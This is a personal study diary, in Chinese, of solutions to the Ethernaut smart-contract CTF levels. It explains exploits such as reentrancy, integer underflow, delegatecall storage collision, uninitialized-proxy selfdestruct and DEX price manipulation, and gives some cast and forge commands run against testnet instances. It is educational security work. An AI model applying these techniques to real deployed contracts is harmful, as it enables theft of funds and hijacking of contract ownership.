timezone |
---|
Asia/Taipei |
- 自我介绍
- DeletedAccount, A Security Engineer.
- 你认为你会完成本次残酷学习吗?
- 本次報名主要目的是為了加深自己對 EVM 的理解,並非為了爭奪獎金或培養 CTF 選手。
- 有 40% 的信心可以順利按表操課...不過即使每日打卡失敗,也會盡量繼續完成 21 天挑戰,為自己而學!
- Day1 共學開始
- 有一段時間沒寫 Solidity 了,順便趁此次機會順便複習過去看過但印象不深的挑戰。
- 並且寫下自己的解題思路,供未來可以回頭參考。
- 志不在競爭激勵金,不限制自己的題數與系列。
- 時間內能刷多少題就盡量刷,目標希望可以刷完全部題目。
- 破關條件: 把
Fallback.owner
改成自己,並且把Fallback.balance
歸零- 看起來至少要呼叫到
contribute()
或receive()
才能改動owner
receive()
有限制contributions[msg.sender] > 0
,不能直接呼叫,看起來只能從contribute()
開始下手
- 解法:
- 先調用
contribute()
帶一點 ETH, 讓自己的contributions
不為 0 - if 判斷沒過可以不用管它
- 然後再調用
receive()
就可以把owner
改成自己了
- 先調用
- 看起來至少要呼叫到
- 知識點: fallback function 可以直接透過 send native coin 觸發
解法:
cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE "contribute()" --value 1wei --private-key $PRIV_KEY
cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE --value 1wei --private-key $PRIV_KEY
cast send -r $RPC_OP_SEPOLIA $FALLBACK_INSTANCE "withdraw()" --private-key $PRIV_KEY
- 破關條件: 把
Fallout.owner
改成自己 - 解法: 直接呼叫
Fal1out()
函數就過了 - 知識點: 在舊版 solidity 中 (
<0.5.0
),函數名稱等於合約名稱的函數會被當成 constructor 使用
解法:
cast send -r $RPC_OP_SEPOLIA $FALLOUT_INSTANCE "Fal1out()" --private-key $PRIV_KEY
- 破關條件:
CoinFlip.flip(bool)
猜中 10 次就過關 - 解法: 只需要預先算出
side
是 True 或 False 就好- 由於題目不要求一定要本輪答案一定正面或反面,只需要猜測現在是正面還是反面
- 也不需要答題者一定要是某個特定的錢包地址
- 所以我們可以直接寫一個 Contract,複製 CoinFlip 的算法,得知本輪答案會是正面或反面,然後再幫忙送出答案就好
- 知識點: 不要用鏈上原生資訊產生隨機數,因為這可以透過鏈下預測/鏈上預算出來
解法:
bash Ethernaut03-CoinFlip.sh
- 破關條件: 把
Telephone.owner
改成自己 - 解法: 寫一個 Contract 去呼叫
changeOwner()
來繞過tx.origin
的檢查 - 知識點: tx.origin 和 msg.sender 的差別
解法:
forge script Ethernaut04-Telephone.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
- 破關條件: 一開始會發 20 個 token 給我,讓自己的 token 數量變超多就過關
- 解法:
- 關鍵點在
require(balances[msg.sender] - _value >= 0);
- 在 Solidity 0.8 以前,沒有內建的 Integer Overflow/Underflow 保護
- 所以我們可以使
_value
下溢到uin256.max-1
,來通過這個require()
檢查 - 將
_value
設置為 21 即可觸發下溢
- 關鍵點在
- 知識點: Solidity 0.8 以前,沒有內建的 Integer Overflow/Underflow 保護
解法:
cast call -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "balanceOf(address)" $MY_EOA_WALLET | cast to-dec # check: 20
cast send -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "transfer(address,uint256)" 0x0000000000000000000000000000000000001337 $MY_EOA_WALLET --private-key $PRIV_KEY
cast call -r $RPC_OP_SEPOLIA $TOKEN_INSTANCE "balanceOf(address)" $MY_EOA_WALLET | cast to-dec # check: large number
- 破關條件: 把
Delegation.owner
改成自己 - 解法:
- 乍看之下 Delegation 合約中,似乎沒有任何代碼可以更改
Delegation.owner
- 但由於 Delegation 合約會透過 delegatecall 呼叫
Delegate
合約 Delegate
合約中, 有邏輯代碼pwn()
可以使Delegation.owner
被更改掉- 因為
Delegation
透過 delegatecall 借用Delegate
邏輯代碼,且兩邊的owner
變數都是佔用著 slot0
- 乍看之下 Delegation 合約中,似乎沒有任何代碼可以更改
- 知識點: 使用 ProxyPattern 的合約,Storage 會用 Proxy 合約的佈局,但邏輯代碼會運行 Logic 合約的代碼
解法:
cast send -r $RPC_OP_SEPOLIA $DELEGATION_INSTANCE "pwn()" --private-key $PRIV_KEY
- 破關條件: 把
Force
的以太幣餘額改成不為 0 - 解法:
- 乍看之下 Force 合約中沒有實現
receive()
或fallback()
函數,無法接收以太幣 - 但我們可以透過
selfdestruct()
強制發送以太幣過去
- 乍看之下 Force 合約中沒有實現
- 知識點: 使用
selfdestruct()
可以將合約解構掉,並且將剩餘的以太強制地轉移到指定地址,不論該地址是否有實現receive()
或fallback()
函數 - 知識點2: 在 Dencun 升級後引入了 EIP-6780
- 現在除非 selfdestruct 在同一個交易中觸發,否則不會解構合約,只會強制轉移剩餘的全部以太幣
解法:
cast balance $FORCE_INSTANCE -r $RPC_OP_SEPOLIA
forge script script/Ethernaut07-Force.s.sol:Solver -f $RPC_OP_SEPOLIA --broadcast
cast balance $FORCE_INSTANCE -r $RPC_OP_SEPOLIA
- 破關條件: 使
locked = false
- 解法:
- 讀取
slot1
得知密碼 - 再呼叫
unlock()
來解鎖即可
- 讀取
- 知識點: 不要在鏈上存任何 secret,因為所有人都看得到 Storage
解法:
THE_PASSWORD=`cast storage "$VAULT_INSTANCE" 1 -r "$RPC_OP_SEPOLIA"
cast send -r $RPC_OP_SEPOLIA $VAULT_INSTANCE "unlock(bytes32)" $THE_PASSWORD --private-key $PRIV_KEY
- 破關條件: 這是一個 King-of-Hill 類型的遊戲,需要我們把遊戲機制搞爛才能過關。
- 在 Submit 的時候,
owner
會透過receive()
函數重新拿回king
王位 - 我們需要讓
owner
無法拿回王位,才能過關。
- 在 Submit 的時候,
- 解法:
- 在關卡開始的時候,
prize = 0.001 ether
- 我們的重點需要讓
payable(king).transfer(msg.value);
執行失敗,這樣就沒人可以拿回王位了 - 如果一個合約地址沒有實現
receive()
函數,那麼執行transfer()
將會觸發 revert - 所以我們只需要寫一個合約,裡面沒有實現
receive()
函數,並且向 King 合約發送 0.001 讓合約成為king
- 這樣一來,
owner
就無法 reclaim 王位了
- 在關卡開始的時候,
- 知識點: 發送 Ether 的三種不同的作法:
transfer()
,send()
與call()
的差別
複習: fallback()
和 receive()
的使用場景差別
複習:transfer()
, send()
與 call()
的差別
gas | return value | use-case | |
---|---|---|---|
transfer() | 2300 | revert() | 純轉帳,因為 2300 gas 沒辦法做複雜操作 |
send() | 2300 | False | 純轉帳,因為 2300 gas 沒辦法做複雜操作 |
call() | Maximum gasLeft() * 63/64 | False | 複雜操作,但需要添加重入保護 |
- 如果你開發的智能合約有使用
transfer()
,請最好確保transfer()
的對象永遠是一個可受信任的白名單地址 - 否則有可能會發生如本題所示的 DoS 攻擊。
解法:
forge script script/Ethernaut09-King.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA
- 破關條件: 把
Reentrance
合約內的資金榨乾 - 解法:
- 題目都叫 Re-entrancy 了,那肯定是考重入攻擊的利用方式
- 題目是 0.8 以下的版本,但是有
using SafeMatch
來保護 balances,所以溢出是不可行的 - 我們用
cast balance $REENTRANCY_INSTANCE -r $RPC_OP_SEPOLIA -e
可以觀察到Reentrance
有 0.001 ether,我們的目標是把它偷出來 - 寫一個合約,合約先調用
donate()
使自己的balances[]
有紀錄 - 然後呼叫
withdraw()
把剛剛的 donate 拿出來 - 因為
Reentrance
合約用的是call()
而且沒有限制 GasLimit - 也沒有對
withdraw()
函數做任何重入保護 - 所以我們寫的合約需要寫一個
receive()
邏輯,重複地去呼叫withdraw()
直到合約餘額歸零
- 知識點: 重入攻擊的利用手法,以及如何保護它
解法:
forge script script/Ethernaut10-Reentrancy.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA
- 破關條件:
Elevator.top
的預設值是false
,要把它變成true
- 解法:
- 首先我們可以觀察到
building
是可控的。我們可以自行決定如何實現Building
合約 - 觀察
goTo()
可以發現building.isLastFloor(_floor)
似乎不可能同時在一筆交易中既返回 False 又返回 True - 但由於
isLastFloor()
沒有限制一定要是view
或pure
函數,所以我們可以自己來實現isLastFloor()
的邏輯 - 我們只需要寫一個簡單的 toggle,讓第一次呼叫
isLastFloor()
的時候返回 False,第二次返回True
就可過關了 - 我的解法是透過
called_count % 2 == 1
來判斷是否為第一次呼叫還是第二次呼叫第一次呼叫 == 1
單數呼叫次數,返回 False,使goTo()
的 if 條件通過第二次呼叫 == 0
偶數呼叫次數,返回 True 使top
為 True
- 首先我們可以觀察到
- 知識點: 開發合約應該 Zero-Trust。如果交互地址是由使用者可控,不要相信對方會按照你所想的方式實施合約邏輯
解法:
forge script script/Ethernaut11-Elevator.s.sol:Solver --broadcast -f $RPC_OP_SEPOLIA
- 破關條件: 知道
bytes16(data[2])
是多少,來使得locked = false
- 解法:
- 這題和 [Ethernaut-08] Vault 一樣都是考怎麼查看 Storage,只是這題更注重 Storage Layout 的解讀
bool
會自己佔掉一個 32 bytes 的 slotuint8
和uint16
會共用同一個 slot,因為他們個別來看都不滿足 32 bytes 大小bytes32[3]
由於是 Static Array,所以會直接佔用掉 3 個 Slot,不需要考慮 Array Length 和 Offset- 所以
_key
的答案會出現在 slot5,但要記得取前半段的 16 bytes
- 知識點: Storage Layout and Storage Packed
解法:
key=$(cast storage $PRIVACY_INSTANCE 5 -r $RPC_OP_SEPOLIA | cut -c1-34) # 取出 bytes16 需要取前 34 個字串,因為輸出含前綴 0x
cast send -r $RPC_OP_SEPOLIA $PRIVACY_INSTANCE "unlock(bytes16)" 0x300fbf4b66e2c895415881cde0d9fbb2 --private-key $PRIV_KEY
-
破關條件: 使
enter()
呼叫成功,需要通過三道 modifier 的試煉 -
解法:
gateOne()
要求呼叫者必須是合約gateTwo()
要求 gas left 剛好可以被 8191 整除- 所以呼叫
enter()
的所需 Gas 數量必須是在執行完gateOne()
進入到gateTwo()
的時候,剛好可以被 8191 整除 - 這意味著我們要馬必須知道在這之前會消耗多少 gas,不然就是得透過暴力破解,來得到離能夠被 8192 整除還需要多少 gas
- 我偏好使用爆破的方式來解決
- 所以呼叫
gateThree()
要滿足一系列的條件,這個可以用 chisel 動手算一遍就可以算的出來正確的_gateKey
- 這邊的重點在於,當一個大類型的數字透過 casting 轉換成小類型的數字,高位的 bytes 會被捨棄,僅保留低位的 bytes
- 範例:
- uint64(bytes8(0x300fbf4b66e2c895)) -> 0x300fbf4b66e2c895
- uint32(uint64(bytes8(0x300fbf4b66e2c895))) -> 0x66e2c895
- 要滿足第一個條件
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
可以發現 uint32 要相等於 uint16- 唯一的辦法就是 uint32 的高位 2 個 bytes 都是 0
- 所以現在可以確定
_gateKey
是0x????????0000????
- 當第一個條件滿足了,通常第二個條件也會跟著一起滿足了,因為不太可能拿到剛好算出來是 0000 的 EOA 地址
- 從第三個條件可以看出來
_gateKey
是0x????????0000nnnn
n 為錢包地址末 4 碼 - 所以我們可以直接用遮罩
0xffffffff0000nnnn
算出來_gateKey
- 這邊的重點在於,當一個大類型的數字透過 casting 轉換成小類型的數字,高位的 bytes 會被捨棄,僅保留低位的 bytes
-
知識點: Casting 從大轉換成小,高位元會被 Drop 掉,以及知道怎麼操縱
gasLeft#()
解法:
-
破關條件: 使
enter()
呼叫成功,需要通過三道 modifier 的試煉 (老實說我感覺比 One 簡單 😂) -
解法:
gateOne()
要求呼叫者必須是合約gateTwo()
要求我們的合約不能夠有 code size, 這意味著我們必須在 constructor 內完成解答gateThree()
要求合約的地址經過 keccak256 和 casting 之後,和gateKey
做 XOR 後要得到 0xffffffffffffffff- 這意味著我們不能像 One 一樣可以在鏈下預先計算出
gateKey
是多少了 - 但這題簡單的地方在於,要得到
gateKey
我們只需要將 合約的地址經過 keccak256 和 casting 之後,直接和 0xffffffffffffffff 做 XOR 就可以得到pathKey
了 - xor.pw 這邊可以自己實驗看看
- 輸入
abcd
和ffff
會得到5432
- 輸入
abcd
和5432
會得到ffff
- 輸入
- 這意味著我們不能像 One 一樣可以在鏈下預先計算出
-
知識點: 如何隱藏 code size 以及 XOR 算法
解法:
- 破關條件: 關卡建立後,會自動給我們 1000000 顆 Naught Coin,我們要把它轉走,使自己的 token balance 歸零
- 解法:
- 可以看到
lockTokens()
限制了我們對.transfer()
方法的呼叫 - 這意味著我們勢必要走另一條路
- 從 ERC20.sol 可以觀察到,除了透過
transfer()
來轉移代幣以外,還可以透過transferFrom()
來轉移 - 所以我們可以 approve 轉帳權給我們自已建立的合約
- 再透過合約呼叫
transferFrom()
把我們的代幣餘額歸零
- 可以看到
- 知識點: 除了
transfer()
以外,還可以利用approve()
+transferFrom()
把 token balance 轉走
解法:
- Day2 共學開始
- 目前規劃會在本檔案做流水帳紀錄
- 預計會在 9/20 來做一個 Writeup 總整理
- 放假日有空也會回來整理
- 破關條件: 把
owner
權限改成自己 - 解法:
- 這題和第六關 Delegation 很像
- 我應該要先呼叫一次
setFirstTime()
,_timeStamp
改成自己部署合約的地址- 這樣應該就可以蓋掉
Preservation.timeZone1Library
成為自己
- 這樣應該就可以蓋掉
- 然後再次呼叫
setFirstTime()
使Preservation
Delegatecall 到自己的合約 - 然後自己的合約再把 slot2 改成
tx.origin
,這樣就可以過關了
- 知識點: Storage Collision、Function Signature
解法:
- 破關條件: 呼叫
SimpleToken.destroy()
使它的以太幣餘額清空,但你要想辦法找出SimpleToken
的合約地址 - 解法:
- 呃...直接去 Explorer 看,就能知道 0.001 ETH 跑到哪裡去了XD
- 但這其實算偷吃步,因為如果遇到像 Paradigm CTF 這種會自架區塊鏈的題目,這招就沒辦法使用了
- 所以重點還是要知道
new
出來的合約地址究竟是如何被計算出來的 - 公式是:
new_contract_address = hash(msg.sender, nonce)
- 可以用
cast nonce $RECOVERY_INSTANCE -r $RPC_OP_SEPOLIA
查到目前 Instance 有多少 Nonce - Nonce 是 2,代表它已經發過 2 次 Transaction (即: 下一筆交易會是用 Nonce 3)
- 我們算 1 和 2 就可以知道計算結果的其中一個是
SimpleToken
的地址了 - 如果目標的 Nonce 很大,解法中的 Python Script 可以加個迴圈和判斷式,快速爆破
- 知識點:
new
出來的地址,是可以被預先算出並得知的
解法:
- 破關條件: 部署一個呼叫了會返回
42
的合約,但是該合約的 runtime bytecode 必須少於 10 bytes - 解法:
- 照著 evm.codes 操作即可,似乎沒什麼好講的
- 這題不難,只是有點麻煩而已
- 之前是用 Yul 解這題,這次換用 Huff 來解
- 因為不熟悉 creation bytecode 和 runtime bytecode 的差別,過程踩了蠻多的坑
- 主要是卡在用
-b
會包含 creation bytecode, 要檢查長度是否少於 10 bytes 還是要用-r
來檢查 runtime bytecode...
- 主要是卡在用
- 用 evm.codes 解很快,但不熟悉 Huff 的語法,花了一些時間看官方文件
- 知識點: EVM OP Codes
解法:
- Day3 共學開始
- 祖父送急診...本日大部分時間都在照顧老人
- 學習時間不多,今天進度較少
個人覺得這一題十分有趣,屬於必看必解題!
- 破關條件: 把
owner
變成自己 - 解法:
- 題目本身沒宣告
owner
,但可以觀察到AlienCodex
有繼承 Ownable Ownable-05.sol"
的原始碼沒給,但我們可以從 GitHub 找到原始碼觀察到address private _owner
- 繼承的合約
Ownable
所宣告變數,會先佔用 Storage,所以_owenr
的 Slot 是在 Slot0 - 並且編譯都是用 Solidity 0.5.0,沒有內建 overflow/underflow 的版本,所以猜測可能是與 overflow/underflow 有關的漏洞利用
- 這一題的主要考點是 Array Overflow/Underflow,需要知道一個 Dynamic Array 宣告在 Storage 的時候,具體來說其中的 Elements 都會被放在哪個 Slot
codex
這個 Dynamic Bytes32 Array 被宣告在 Slot1,因為contact
會和_owner
打包在一起 (concat
在左邊高位_owner
在右邊低位)- Slot2 本身將會放的是這個 Dynamic Array 目前的總長度
- Dynamic Array 的第一個元素會被放在
keccak256(n) + 0
,n 等於原先佔用的 slot offset (本例codex
佔用 Slot2,即n=1
) - Dynamic Array 的第二個元素會被放在
keccak256(n) + 1
- Dynamic Array 的第三個元素會被放在
keccak256(n) + 2
,依此類推
- 我們的目標是控制 Slot0 的內容,乍看之下似乎無路可解
- 但我們有
retract()
可以將 Slot1 的值,從keccak256(0)
(即codex
元素有0
個) 更改為keecak256(2**256 - 1)
(即codex
元素有2**256 - 1
個) - 欸!既然
codex
的 index 長度可以拉到2**256-1
個,那是不是代表... - 沒錯!我們可以利用
revise()
函數來達到 任意重設指定的 Storage Slot 的內容值 了! - 為了過關,我們肯定是想要將 Slot0 的前 20 bytes 內容值修改成自己的地址的,但具體來說如何做呢?
- 我們需要將
codex
佔用的首個元素的 Slot Number,再加上某個偏移量造成 Overflow,使它能夠重新指向到 Slot0 - 假設上述輸出命名為 i,則 i 的計算公式為:
i = keccak256(1) + N = 0x0000...0000
- 要取得 N,我們只需要將
0xffff...ffff
減去keccak256(1)
再+1
即可 N = (0xffff...ffff - keccak256(1)) + 1
- 我們需要將
- 題目本身沒宣告
bytes32 slot_index_of_first_element_of_codex = keccak256(abi.encode(uint256(1)));
bytes32 max_bytes32 = bytes32(type(uint256).max);
bytes32 array_index_that_occupied_the_slotMAX = bytes32(uint256(max_bytes32) - uint256(slot_index_of_first_element_of_codex));
bytes32 N = bytes32(uint256(array_index_that_occupied_the_slotMAX) + 1)
- 知識點: Array Storage Layout, Array Underflow/Overflow
解法:
- Day4 共學開始
- 破關條件: 在
Denial
合約仍有足夠以太幣的前提下,使其他人調用withdraw()
失敗 - 解法:
- 先調用
setWithdrawPartner()
使自己部署的攻擊合約成為 partner - 在攻擊合約的
receive()
或fallback()
函數寫一些會 Out-of-Gas 的邏輯即可 - 例如: 無窮迴圈
- 先調用
- 知識點: Out-of-Gas DoS Attack
解法:
- 破關條件: 把
price
拉到100
以下 - 解法:
- 使第一次呼叫
_buyer.price()
時,返回101
來通過 if 敘述 - 然後再使第二次呼叫
_buyer.price()
時,返回99
來達成過關條件 - 這邊沒辦法像之前一樣都用 called_count 來紀錄呼叫次數,因為
price()
必須是一個 view 函數 - 但我們可以利用
Shop.isSold
來知道這是第一次呼叫還是第二次呼叫
- 使第一次呼叫
- 知識點: Restriction of the view function, contract interface
解法:
-
破關條件: 利用價格操縱漏洞,竊取
Dex
合約的資金,使其中一個 Token 的餘額歸零 -
解法:
- 這一題的考點主要是
X * Y = K
恆定乘積做市商算法的漏洞 - 如果 swapAmount 等於
amount * Y / X
且沒有進行 K 值的檢查,將會導致swapAmount
在幾次來回交換後,因為X
值變小而使換出的 Y token 數量變多 - 當 DEX 不依靠去中心化價格預言機或時間加權機制,僅透過 Reserve 來實施價格發現,就會受到價格操縱攻擊
- 我們只需要反覆地將 token1 換到 token2,token2 再換回 token1,來回操作幾遍就會發現每次換出來的金額都會越來越大
- 建議自己拿算盤驗算看看
getSwapPrice()
函數的返回值
- 這一題的考點主要是
-
知識點: 不安全的價格資訊參考
- Day5 共學開始
-
破關條件: 與
Dex
不同,這次要求把DexTwo
的兩個 Token 餘額都歸零 -
解法:
Dex
和DexTwo
很像,所以我們可以直接 Diff 看看兩者的差別- 從上圖可以很明顯地發現到,
swap()
函數的require()
要求不見了 - 這意味著我們可以給定任意的 ERC20 代幣來進行
swap()
的動作- 只要我們部署的 ERC20 合約具有
transferFrom()
和balanceOf()
方法即可
- 只要我們部署的 ERC20 合約具有
- 具體上來說,一開始
DexTwo
合約會有各 100 個 token, 我們有各 10 個 token - 要將 DexTwo 的 token1 取出來,我們要先發 100 顆 PhonyToken 給
DexTwo
- 這樣才能使得調用
swap(from=PhonyToken, to=token1, amount=100)
可以把 DexTwo 的 token1 全部換走 - 接下來再把 DexTwo 的 token2 取出來。
- 經過上一輪
swap()
,DexTwo 已經有了 100 顆 PhonyToken - 所以要馬我們再生成一個 PhoneyToken2,用上面的方式一樣把 token2 全部換走
- 要馬就是我們用 200 顆 PhoneyToken 把 token2 取走
-
知識點: Arbitrary Input Vulnerability
解法:
- 09.04 身體不舒服,請假一天
- Day6 共學開始
個人覺得這一題十分有趣,屬於必看必解題!
- 破關條件: 把
PuzzleProxy
的admin
變成自己 - 解法:
- 可以看到
PuzzleProxy
是一個 UpgradeableProxy,Logic 合約是PuzzleWallet
- 當涉及到 Proxy 的時候,通常都會去檢查 Storage Layout
- 可以發現到
PuzzleProxy.pendingAdmin
對應的是PuzzleWallet.owner
- 可以發現到
PuzzleProxy.admin
對應的是PuzzleWallet.maxBalance
- 這意味著我們必須要能在
PuzzleWallet
找到地方可以操縱PuzzleWallet.maxBalance
,使它的數值變成我們的錢包地址 PuzzleWallet.maxBalance
可以在PuzzleWallet.init()
函數與PuzzleWallet.setMaxBalance()
函數進行更改PuzzleWallet.init()
這一條路應該是沒辦法走的,因為PuzzleWallet.maxBalance
的值已經是設置成PuzzleWallet.admin
了- 我們只能嘗試走
PuzzleWallet.setMaxBalance()
這條路,但這要求我們要是 whitelisted 以及address(this).balance
為 0 - 要怎麼成為 whitelisted 呢? 我們必須要使
msg.sender == owner
PuzzleWallet.owner
被宣告在 slot0,也就是與PuzzleProxy.pendingAdmin
對應PuzzleProxy.pendingAdmin
可以透過PuzzleProxy.proposeNewAdmin()
進行修改- 總結目前發現:我們可以透過
PuzzleProxy.proposeNewAdmin()
函數的調用,使PuzzleWallet.owner
被修改,進而使我們成為whitelisted
onlyWhitelisted
的問題解決掉了,下一步是找到方式讓address(this).balance == 0
條件敘述通過- 透過
cast balance -r $RPC_OP_SEPOLIA $PUZZLEWALLET_INSTANCE
指令,可以得知PuzzleProxy
合約有 0.001 顆 ETH - 從題目給出的代碼來看,也似乎只有
execute()
函數可以把 ETH 提領出來,所以這應該會是我們要嘗試的漏洞利用路徑 execute()
函數要求我們必須使balances[msg.sender]
大於欲提領的數量,意味著我們必須先使自己的balances[msg.sender]
增加至 0.001 ETH- 要增加
balances[msg.sender]
必須透過deposit()
函數 - 由於
PuzzleWallet.maxBalance
等同於PuzzleProxy.admin
,所以address(this).balance <= maxBalance
的條件敘述基本上不會正常工作 - 但問題在於: 我們
deposit()
存入 0.001 顆 ETH,也只能execute()
提領出來 0.001 顆 ETH - 似乎怎麼操作都會使
PuzzleProxy
的餘額仍然剩餘 0.001 ETH,如何繞過呢?我們可以利用multicall()
函數裡的deletecall()
! - 我們需要建構出一條 deletegatecall 鏈
- 首先
PuzzleProxy
會 delegatecallPuzzleWallet
的函數 - 我們指定 delegatecall
PuzzleWallet.multicall()
- 在
multicall()
裡面,我們利用multicall()
裡面的 delegatecall 來呼叫deposit()
函數 - 呼叫
deposit()
的時候,要帶入 0.001 ETH 進去- 此時 msg.sender 是我們的錢包
- 此時 msg.value 等於 0.001 ETH
- 我們透過第二組
data
再次呼叫multicall()
- 第二組的
multicall()
再次呼叫deposit()
- 此時 msg.sender 依舊是我們的錢包
- 此時 msg.value 依舊等於 0.001 ETH (但是我們並沒有因此多提供了 0.001 ETH)
- 第二組
multicall()
之所以可以再次呼叫deposit()
,是因為depositCalled
的狀態值只存在於當前的 Call FramedepositCalled
是一個假的重入鎖,實際上根本不起作用,因為depositCalled = True
的這個狀態,只存在於當前的 Call Stack
- 首先
- 可以看到
- 解法總結:
- 呼叫
PuzzleProxy.proposeNewAdmin(_newAdmin=tx.origin)
(使tx.origin
成為了PuzzleWallet.owner
) - 呼叫
PuzzleProxy.addToWhitelist(addr=tx.origin)
(使tx.origin
變成了whitelisted
) - 建構
PuzzleWallet.multicall()
的bytes[] data
- 總共有兩組
bytes data
需要建構 - 第一組:
deposit()
- 第二組
multicall(deposit())
- 總共有兩組
- 呼叫
PuzzleProxy.multicall()
,並且帶入msg.value = 0.001 ETH
- 呼叫
PuzzleProxy.execute(to=tx.origin, value=0.002 ETH, data="")
(把 0.002 ETH 提領出來,使PuzzleProxy
的以太幣餘額歸零) - 呼叫
PuzzleProxy.setMaxBalance(_maxBalance=uint256(uint160(tx.origin)))
(用來覆蓋PuzzleProxy.admin
) - 過關!
- 呼叫
- 知識點: Delegate Call, Storage Slot Collision
解法:
個人覺得這一題十分有用,屬於必看必解題!
此關卡在 Dencun 升級後無法被解掉,因為 Dencun 升級後,不允許 selfdestruct() 清空合約代碼 (除非欲 selfdestruct 的合約是在同一個 Transaction 創建的)
- 破關條件: 把
Engine
合約自毀掉 - 解法:
- Instance 將會是
Motorbike
合約 - 透過觀察
Motorbike
合約,我們可以觀察到它的constructor()
調用了Engine.initialize()
函數 - 在
Engine.initialize()
函數內,我們可以觀察到它為Motorbike
的 slot0 和 slot1 分別設置了1000
與msg.sender
- 我們可以透過以下指令驗證這件事:
cast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 0
-> msg.sendercast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 1 | cast to-dec
-> 1000
- 如果要讓
Engine
自毀掉,我們必須找到一個地方,可以以Engine
的 context 去呼叫自毀合約的邏輯代碼 - 這個任意執行代碼的觸發點,看起來在
Engine._upgradeToAndCall()
函數內- 但
Engine._upgradeToAndCall()
是 internal 函數
- 但
- 我們只能透過
Engine.upgradeToAndCallI()
函數來訪問它 - 但是我們必須要通過
require(msg.sender == upgrader)
的檢查,意味著我們得先讓自己成為upgrader
- 只有
Engine.initialize()
可以設置 upgrader,也就是Motorbike
的 slot0 - 漏洞點在於
Engine
本身也是一個部署在網路上的 Logic 合約 - 但是
initialize()
函數只會經過initializer
這個 modifier 的檢查 initializer
簡單來說會檢查當前這個合約的 context 是不是已經被 initialized- 如果沒有被 initialized,則
initializer
的檢查通過,可以繼續進行被掛載了initializer
modifier 的合約 - 但是回過頭來看
Motorbike
合約是使用 delegatecall 來進行Engine.initialize()
- 這意味著只有
Motorbike
被 initialized 了,但是Engine
本身並沒有被 initialized- 請記住:
Engine
本身也是部署在網路上的一個合約
- 請記住:
- 所以此時我們如果直接呼叫
Engine.initialize()
(a.k.a. 不透過Motorbike
) 是可以呼叫成功的- 因為
Initializable
這個抽象合約的require(_initializing || _isConstructor() || !_initialized)
檢查會通過
- 因為
- 於是我們就可以成功變成
upgrader
- 變成了
Engine.upgrader
(Motorbike.slot0) 之後,我們就可以呼叫Engine.upgradeToAndCall()
了 - 我們可以呼叫
Engine._upgradeToAndCall()
使Engine
執行我們部署好的合約的selfdestruct
指令了
- Instance 將會是
- 解法總結:
- 我們需要先寫一個
BustingEngine
合約 - 裡面有一個會執行
selfdestruct()
的函數,我們就叫它bust()
好了。 - 用自己的錢包,呼叫
Engine.initialize()
,使自己的錢包成為upgrader
。Engine
合約地址,可以透過cast storage -r $RPC_OP_SEPOLIA $MOTORBIKE_INSTANCE 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
找到
- 用自己的錢包,呼叫
Engine.upgradeToAndCall(newImplementation=BustingEngine, data="bust()")
Engine
會透過 delegatecall 借用我們的selfdestruct()
邏輯代碼,把自己銷毀掉
- 過關!
- 過程中我們除了需要和
Motorbike
獲取Engine
的實際合約地址以外,基本上不需要和Motorbike
互動。
- 過程中我們除了需要和
- 我們需要先寫一個
解法:
- 卡關了...沒看得很懂這題要做什麼才能過關,先跳過,改天再回頭看
- 明天要比工作日還要早起出門上課,先解 Ethernaut-27 水題當作簽到...
- 破關條件: 把
Wallet
合約的Coin.balances
清空 - 解法:
- 已知我們可以透過
GoodSamaritan.requestDonation() -> Wallet.donate10()
把幣取走,但這意味著我們得呼叫 100000 次才能過關,太慢了 - 除了
Wallet.donate10()
以外,還有Wallet.transferRemainder()
可以直接把所有 balances 轉走,這應該就是我們要找到的利用點 - 我們要找到一個地方使得
Wallet.transferRemainder()
被觸發,進而過關 - 要做到這件事,只能使
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err))
敘述返回 True - 這意味著我們要在
try wallet.donate10(msg.sender)
的執行過程中想辦法觸發NotEnoughBalance()
這個 custom error - 只要
dest_
是一個合約,我們就可以使Coin.transfer()
呼叫 callback function:INotifyable(dest_).notify(amount_);
- 然後我們在
INotifyable(dest_).notify(amount_);
的執行過程中觸發NotEnoughBalance()
custom error 就好了!
- 已知我們可以透過
- 解法總結:
- 寫一個合約,它會呼叫
GoodSamaritan.requestDonation()
- 這個合約需要實現一個
notify(uint256)
函數 - 這個
notify(uint256)
函數會無條件地觸發NotEnoughBalance()
custom error
- 寫一個合約,它會呼叫
吐槽: 這題居然三顆星...前一題解不出來,它居然只有兩顆星???囧
- 今天上防衛課一整天,爆幹累
- 但還是要要求自己至少解一題...
打開題目後快速掃了一下,感覺是最簡單的 Gatekeeper,應該是要複習前面學到的內容。
-
破關條件:通過
enter()
的三道 modifier 考驗,使自己成為一個 entrant -
解法:
gateOne()
,沒什麼難的- 需要寫一個合約,呼叫
construct0r()
使自已的合約(msg.sender
)成為owner
- 需要寫一個合約,呼叫
gateTwo()
,使allowEntrance
為 True- 需要呼叫
trick.checkPassword(_password)
並使它返回 True - 但
trick
此時還沒被賦值,所以要先呼叫createTrick()
使trick
被 new 出來 - 然後,再呼叫
SimpleTrick.checkPassword(_password)
password
是 private 的,所以我們不太能直接用 Solidity 呼叫得到- 但我們可以用
eth_getStorage
先在鏈下拿到 password - 意味著我們要先呼叫
GatekeeperThree.createTrick()
再執行一系列操作
gateThree()
要求GatekeeperThree
合約至少有 0.001 ETH 以上- 並且轉回來給攻擊合約是失敗的
- 這意味著我們要寫一個
receive()
函數,裡面返回 False - 我們可以直接用
revert()
來做到.send()
會返回 False 這件事
- 需要呼叫
- 解法整理:
- 寫一個攻擊合約
- 攻擊合約會先呼叫
GatekeeperThree.createTrick()
- 然後用
eth_getStorage
獲取到SimpleTrick.slot2
的內容值,作為password
- 呼叫
GatekeeperThree.getAllowance(password)
把password
帶進去 - 呼叫
GatekeeperThree.construct0r()
使攻擊合約成為owner
- 給
GatekeeperThree
0.001 以上的 ether - 攻擊合約也需要寫一個
receive()
函數,裡面只有寫了一行revert()
- 完成,呼叫
enter()
來過關!
